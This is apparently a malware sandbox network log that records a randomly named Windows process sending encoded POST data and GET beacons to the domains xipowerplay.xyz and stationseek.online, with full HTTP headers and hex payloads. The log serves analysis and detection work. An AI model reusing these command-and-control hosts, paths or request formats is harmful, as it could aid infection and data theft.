Oct 30, 2024 08:11:30.302237034 CET	719	OUT	POST /akxn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.xipowerplay.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.xipowerplay.xyz Referer: http://www.xipowerplay.xyz/akxn/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 57 58 71 4a 59 31 4d 35 59 65 6c 69 48 46 54 71 72 64 5a 79 5a 71 4e 69 37 30 75 53 72 53 64 55 62 6f 2f 6d 38 66 57 6e 6b 79 6e 4d 56 73 78 5a 71 47 79 75 56 57 62 5a 75 4d 54 37 55 76 35 73 62 67 4c 69 36 4b 51 67 58 57 67 52 6a 6e 45 69 6b 4a 45 49 38 67 6b 6e 6a 4c 48 51 47 56 55 57 51 39 42 71 71 5a 59 4f 2f 4c 43 48 74 32 38 42 50 46 63 58 70 31 65 73 6b 71 58 78 51 6b 57 6f 65 63 68 4d 2f 64 74 62 59 39 45 63 34 42 4f 67 6a 61 6c 57 45 32 41 54 43 58 47 7a 6d 64 69 66 32 65 73 78 46 46 47 45 4f 45 4f 42 2f 69 7a 44 65 44 76 54 31 34 65 55 51 79 41 48 57 2f 61 44 42 51 3d 3d Data Ascii: ZT=WXqJY1M5YeliHFTqrdZyZqNi70uSrSdUbo/m8fWnkynMVsxZqGyuVWbZuMT7Uv5sbgLi6KQgXWgRjnEikJEI8gknjLHQGVUWQ9BqqZYO/LCHt28BPFcXp1eskqXxQkWoechM/dtbY9Ec4BOgjalWE2ATCXGzmdif2esxFFGEOEOB/izDeDvT14eUQyAHW/aDBQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50021	13.248.169.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:32.933159113 CET	739	OUT	POST /akxn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.xipowerplay.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.xipowerplay.xyz Referer: http://www.xipowerplay.xyz/akxn/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 57 58 71 4a 59 31 4d 35 59 65 6c 69 47 6c 44 71 6e 61 46 79 66 4b 4e 68 2b 30 75 53 6c 79 64 51 62 6f 37 6d 38 62 75 33 34 51 44 4d 56 4d 68 5a 72 43 6d 75 5a 32 62 5a 67 73 54 2b 61 50 35 64 62 67 50 71 36 50 6f 67 58 57 30 52 6a 6c 73 69 34 6f 46 36 38 77 6b 79 6f 72 48 53 4a 31 55 57 51 39 42 71 71 5a 4d 6b 2f 4c 36 48 74 69 34 42 64 57 45 55 31 46 65 6a 6c 71 58 78 61 30 57 73 65 63 68 69 2f 63 77 30 59 34 59 63 34 41 2b 67 67 4c 6c 56 4e 32 42 59 66 6e 48 50 76 64 57 55 76 74 56 58 4f 54 53 66 4f 6d 47 61 2b 6b 2b 5a 50 79 4f 45 6e 34 36 6e 4e 31 4a 7a 62 38 6e 4b 61 56 47 7a 74 73 57 61 4c 48 41 36 57 73 64 68 44 45 54 70 47 62 49 3d Data Ascii: ZT=WXqJY1M5YeliGlDqnaFyfKNh+0uSlydQbo7m8bu34QDMVMhZrCmuZ2bZgsT+aP5dbgPq6PogXW0Rjlsi4oF68wkyorHSJ1UWQ9BqqZMk/L6Hti4BdWEU1FejlqXxa0Wsechi/cw0Y4Yc4A+ggLlVN2BYfnHPvdWUvtVXOTSfOmGa+k+ZPyOEn46nN1Jzb8nKaVGztsWaLHA6WsdhDETpGbI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50022	13.248.169.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:35.528155088 CET	10821	OUT	POST /akxn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.xipowerplay.xyz Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.xipowerplay.xyz Referer: http://www.xipowerplay.xyz/akxn/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 57 58 71 4a 59 31 4d 35 59 65 6c 69 47 6c 44 71 6e 61 46 79 66 4b 4e 68 2b 30 75 53 6c 79 64 51 62 6f 37 6d 38 62 75 33 34 51 4c 4d 57 2f 35 5a 72 6a 6d 75 58 57 62 5a 6f 4d 54 2f 61 50 35 41 62 67 33 51 36 50 74 58 58 56 4d 52 69 45 4d 69 30 4d 5a 36 33 77 6b 79 6e 4c 48 54 47 56 56 53 51 39 51 74 71 5a 63 6b 2f 4c 36 48 74 6b 55 42 65 46 63 55 6d 56 65 73 6b 71 58 74 51 6b 57 45 65 59 45 66 2f 63 45 65 5a 4c 41 63 34 67 75 67 77 74 52 56 43 32 42 61 63 6e 48 58 76 64 4c 4d 76 74 4a 4d 4f 54 4f 68 4f 6b 61 61 2f 6a 58 31 58 79 43 4e 77 37 47 74 53 47 68 6f 58 4e 48 38 44 53 65 4d 6a 64 4f 53 56 45 67 36 52 72 38 75 61 58 58 49 56 37 77 7a 6f 2f 44 4e 6f 4e 4b 77 4f 6a 71 58 6b 76 41 68 33 73 43 2f 78 45 34 2f 64 34 49 61 67 55 6d 70 44 49 6c 6e 6b 4d 41 50 33 33 54 58 58 35 55 5a 45 70 63 57 61 68 73 69 77 57 75 57 51 42 32 32 6e 6a 46 58 73 45 41 49 66 4b 4e 54 67 4a 6b 7a 76 72 2b 57 62 52 35 56 4e 54 6a 78 77 54 31 35 41 77 4c 41 4e 38 71 61 69 78 71 46 4e 2b 49 5a 68 76 4c 67 67 6d 44 [TRUNCATED] Data Ascii: ZT=WXqJY1M5YeliGlDqnaFyfKNh+0uSlydQbo7m8bu34QLMW/5ZrjmuXWbZoMT/aP5Abg3Q6PtXXVMRiEMi0MZ63wkynLHTGVVSQ9QtqZck/L6HtkUBeFcUmVeskqXtQkWEeYEf/cEeZLAc4gugwtRVC2BacnHXvdLMvtJMOTOhOkaa/jX1XyCNw7GtSGhoXNH8DSeMjdOSVEg6Rr8uaXXIV7wzo/DNoNKwOjqXkvAh3sC/xE4/d4IagUmpDIlnkMAP33TXX5UZEpcWahsiwWuWQB22njFXsEAIfKNTgJkzvr+WbR5VNTjxwT15AwLAN8qaixqFN+IZhvLggmDvJPwBJIVocoysy5W85seTwy62t4OUPqNhlQjgBsUKXufDOJZNpp7o9btAo3GAzFWW6upodIvAyPGEKNXYdCLCMsuGrUMN6XzE7OSzuU1t8+rfYodruNTeM0qiqvOpSBLS9xS6/rFtVUuFYUegRmeTza4ihEDQ69mXcmqS5PDxgCmheBDODRRLl89lgk6M+2aHvqtm0SOvNDW2wsizYGuaHvSSht9J0cD0tNPWxjg6Z9q+yTwpUpc2sA+fRqetu6VwG4/0KLrBlA0z+i17DVJyVGzvgTT5DHryWJaBliCDLkbH936euMkRRQxp0fnJKQvapiP493pIRQnU6GqGy0nGJ4EO9cNARUDwFl0PewiGT8/EoH6Mq74hrUBpTfOUuDjROXlkdGAL13hX8R6vRh9kspPIadyDXh3lerFkRv0gmoABeJa4lUdlUSkjq6qk/l35/woLr3cH2+uQA9ZbWKNFrm/dstHmrwncH7p2zBicIDrScCxSKwg/wfHtGaMi62EJrQzLo8jisILJ/F6QbNqQqd1HDY8QR1uzTMRiADVcGC0t/LPGb4U9Wb4ZTkdT3OPiz36Z01EX14jnmWmyqmpdJ5Qocttf9NW//kiEaoWdnOd813LUBUq3ZY7NidVSc1sPRVwsbG0S5kpjpE5qyBXzTSAlpvgKwsJlB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50023	13.248.169.48	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:38.066788912 CET	448	OUT	GET /akxn/?ZT=bVCpbCQOZK8RJSSOpbtjW6178FykoGhXFODVqYypnT+nS+pakzyDZ3G2gJzbbKB5bmDBooJSbxoFgw5n88RQ4gN+spy4B3V2SPR8yfMM1NLM4EIxe0ofqks=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.xipowerplay.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:11:38.719858885 CET	394	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 30 Oct 2024 07:11:38 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 54 3d 62 56 43 70 62 43 51 4f 5a 4b 38 52 4a 53 53 4f 70 62 74 6a 57 36 31 37 38 46 79 6b 6f 47 68 58 46 4f 44 56 71 59 79 70 6e 54 2b 6e 53 2b 70 61 6b 7a 79 44 5a 33 47 32 67 4a 7a 62 62 4b 42 35 62 6d 44 42 6f 6f 4a 53 62 78 6f 46 67 77 35 6e 38 38 52 51 34 67 4e 2b 73 70 79 34 42 33 56 32 53 50 52 38 79 66 4d 4d 31 4e 4c 4d 34 45 49 78 65 30 6f 66 71 6b 73 3d 26 6d 54 6b 44 3d 47 6a 32 54 69 32 54 30 67 34 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ZT=bVCpbCQOZK8RJSSOpbtjW6178FykoGhXFODVqYypnT+nS+pakzyDZ3G2gJzbbKB5bmDBooJSbxoFgw5n88RQ4gN+spy4B3V2SPR8yfMM1NLM4EIxe0ofqks=&mTkD=Gj2Ti2T0g4"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50024	198.251.84.200	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:43.883404016 CET	728	OUT	POST /wd23/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.stationseek.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.stationseek.online Referer: http://www.stationseek.online/wd23/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 73 54 42 64 39 66 57 74 71 61 51 44 30 30 4c 45 7a 4c 6a 67 30 30 46 51 74 70 50 6a 79 52 4c 6b 79 42 61 51 7a 41 35 30 6d 31 39 5a 51 70 42 32 79 57 64 51 73 48 31 62 4d 71 6d 48 31 6c 39 79 32 61 37 4e 75 2f 75 70 78 71 6b 33 75 49 6e 68 41 57 35 6c 4b 6f 54 69 73 42 2f 71 64 71 41 45 65 6d 53 67 35 74 47 4c 41 2f 47 4a 4a 30 70 45 43 32 59 77 54 77 6b 32 39 44 6d 68 4f 46 6d 6c 48 67 37 50 6b 43 7a 62 69 45 62 35 75 63 61 76 4f 35 5a 44 70 39 44 43 6d 33 4e 6e 37 71 31 4b 4a 5a 2f 4f 58 5a 44 48 51 4a 58 33 39 63 4e 34 49 37 78 47 43 49 43 52 69 6c 42 6b 45 65 6c 7a 66 77 3d 3d Data Ascii: ZT=sTBd9fWtqaQD00LEzLjg00FQtpPjyRLkyBaQzA50m19ZQpB2yWdQsH1bMqmH1l9y2a7Nu/upxqk3uInhAW5lKoTisB/qdqAEemSg5tGLA/GJJ0pEC2YwTwk29DmhOFmlHg7PkCzbiEb5ucavO5ZDp9DCm3Nn7q1KJZ/OXZDHQJX39cN4I7xGCICRilBkEelzfw==
Oct 30, 2024 08:11:44.784115076 CET	908	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Wed, 30 Oct 2024 07:11:44 GMT server: LiteSpeed location: http://www.stationseek.online/wd23 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50025	198.251.84.200	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:46.430624962 CET	748	OUT	POST /wd23/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.stationseek.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.stationseek.online Referer: http://www.stationseek.online/wd23/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 73 54 42 64 39 66 57 74 71 61 51 44 31 58 44 45 31 73 33 67 79 55 46 54 69 4a 50 6a 38 42 4c 6f 79 42 47 51 7a 46 63 7a 6c 41 74 5a 51 4c 4a 32 6a 6e 64 51 76 48 31 62 45 4b 6d 43 37 46 39 31 32 62 48 7a 75 2f 43 70 78 71 67 33 75 4a 58 68 41 6e 34 58 4a 59 54 67 6e 68 2b 4d 5a 71 41 45 65 6d 53 67 35 74 44 57 41 2b 75 4a 4a 45 5a 45 43 58 59 33 51 77 6b 31 38 44 6d 68 4b 46 6d 68 48 67 36 61 6b 41 48 78 69 48 76 35 75 59 4b 76 4f 74 4e 43 6a 39 44 45 69 33 4d 4c 38 5a 49 42 4f 70 32 31 57 72 50 47 65 36 6e 48 78 36 41 69 5a 4b 51 52 51 49 6d 69 2f 69 49 51 4a 64 59 36 45 78 65 2f 43 2b 54 2f 30 50 46 42 31 54 51 32 4c 64 4e 2b 42 48 77 3d Data Ascii: ZT=sTBd9fWtqaQD1XDE1s3gyUFTiJPj8BLoyBGQzFczlAtZQLJ2jndQvH1bEKmC7F912bHzu/Cpxqg3uJXhAn4XJYTgnh+MZqAEemSg5tDWA+uJJEZECXY3Qwk18DmhKFmhHg6akAHxiHv5uYKvOtNCj9DEi3ML8ZIBOp21WrPGe6nHx6AiZKQRQImi/iIQJdY6Exe/C+T/0PFB1TQ2LdN+BHw=
Oct 30, 2024 08:11:47.336349010 CET	908	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Wed, 30 Oct 2024 07:11:47 GMT server: LiteSpeed location: http://www.stationseek.online/wd23 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50026	198.251.84.200	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:48.974736929 CET	10830	OUT	POST /wd23/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.stationseek.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.stationseek.online Referer: http://www.stationseek.online/wd23/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 73 54 42 64 39 66 57 74 71 61 51 44 31 58 44 45 31 73 33 67 79 55 46 54 69 4a 50 6a 38 42 4c 6f 79 42 47 51 7a 46 63 7a 6c 44 4e 5a 51 34 52 32 78 30 46 51 75 48 31 62 4b 71 6d 44 37 46 39 6b 32 62 66 76 75 2f 65 54 78 6f 6f 33 76 76 44 68 49 31 51 58 53 49 54 67 6f 42 2b 59 64 71 42 45 65 6d 44 70 35 74 54 57 41 2b 75 4a 4a 47 42 45 4c 6d 59 33 57 77 6b 32 39 44 6d 39 4f 46 6d 46 48 6a 4c 74 6b 44 72 4c 69 30 33 35 72 4a 6d 76 4d 62 78 43 72 39 44 47 6e 33 4d 54 38 5a 45 4f 4f 70 72 4f 57 71 36 6a 65 39 58 48 78 37 31 31 49 37 30 61 48 4f 79 50 73 68 51 37 43 2f 5a 33 49 51 69 49 4b 4e 48 6e 73 38 6f 6f 37 79 70 66 63 75 52 4b 44 53 69 33 49 5a 4d 32 4c 31 58 46 55 46 35 71 64 50 64 6c 36 54 56 71 54 57 76 45 44 4c 6d 61 74 75 67 7a 77 36 53 77 4c 48 6a 59 6c 64 4d 67 5a 2f 47 6d 42 77 30 36 62 30 77 35 77 6a 77 4c 33 72 62 62 6a 72 35 53 45 42 4c 50 50 56 4a 65 6d 4f 44 51 58 47 42 66 4f 58 75 66 64 50 55 37 6e 6b 62 6f 76 33 76 4f 43 37 72 47 39 78 33 46 35 4a 62 47 76 78 56 65 55 45 7a [TRUNCATED] Data Ascii: ZT=sTBd9fWtqaQD1XDE1s3gyUFTiJPj8BLoyBGQzFczlDNZQ4R2x0FQuH1bKqmD7F9k2bfvu/eTxoo3vvDhI1QXSITgoB+YdqBEemDp5tTWA+uJJGBELmY3Wwk29Dm9OFmFHjLtkDrLi035rJmvMbxCr9DGn3MT8ZEOOprOWq6je9XHx711I70aHOyPshQ7C/Z3IQiIKNHns8oo7ypfcuRKDSi3IZM2L1XFUF5qdPdl6TVqTWvEDLmatugzw6SwLHjYldMgZ/GmBw06b0w5wjwL3rbbjr5SEBLPPVJemODQXGBfOXufdPU7nkbov3vOC7rG9x3F5JbGvxVeUEzh5q15z+eSg3U1c1dJFBxmd2ipstTg0lY/dXfuMJlXyysvDHP/KGRm3Bk7FtnXIx4r0c2mtfHtmYB+tNIrGop+tPue5wittUUCrmedR63unmIgPTnMfsYDLDIrd0XiMPVaOHC5gAa3nP/hxPXjsAlWutu4CMRxcO/siuKjJSwLsUfi4QXt+ZKJp/Ia5j5GtF6DbUoy406nZR5x+SoKtkaNnkasnAYln/TdBoHvDETPm5/ODnmsABNeN34ydsS79a5ZGlfnDjIyaZGHv/kdCLXw/0F5eP2FhNKHq29NGaxXwwsq2qhAjK71eCryy1Nk3zS8BVDzUz5yVaPsa19cuHibfig1ilI5z1YtCg50JkYuQvC9RlbH2WdvGwtZZv1SFEyhCZkEaJjfCJdIuhT0os/Ff9DmSms/dOmyGX1LiNS8aSi5ukpLrXMSv4MF9LcEUa8Uwa0j4rbT8QSm7mEYtLPVjn5ZNCNz02ehVKbBPeFCNg+7h+Hl+dhKiFm/wd6LAMGML0k9Lg0vMV4Lm8vITiwIkNajDK03O80MohLMy0QJaMJD2rWa4g+OqfhgSYU8NohaGeI7npEKHyvvyOtdZPYpVip8d27YD/snhqlHCurriTRW4a9wNv3WdEndtAkJNxEcOC8sjWIJk77qtdhR16bnZVrDtgeEwG7bC [TRUNCATED]
Oct 30, 2024 08:11:49.870584965 CET	908	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Wed, 30 Oct 2024 07:11:49 GMT server: LiteSpeed location: http://www.stationseek.online/wd23 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50027	198.251.84.200	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:51.522372961 CET	451	OUT	GET /wd23/?ZT=hRp9+v2en7tRz1flyqG17kFmttLc1zOskyKd0ztIjTxyYqd810hmijNQE9yj6BxK05vUksKTuuJXofOYLi9PR6uwuESMYbomdUS7hY3ZEsqPIlhTOHkKZSQ=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.stationseek.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:11:52.442900896 CET	1048	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Wed, 30 Oct 2024 07:11:52 GMT server: LiteSpeed location: http://www.stationseek.online/wd23?ZT=hRp9+v2en7tRz1flyqG17kFmttLc1zOskyKd0ztIjTxyYqd810hmijNQE9yj6BxK05vUksKTuuJXofOYLi9PR6uwuESMYbomdUS7hY3ZEsqPIlhTOHkKZSQ=&mTkD=Gj2Ti2T0g4 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 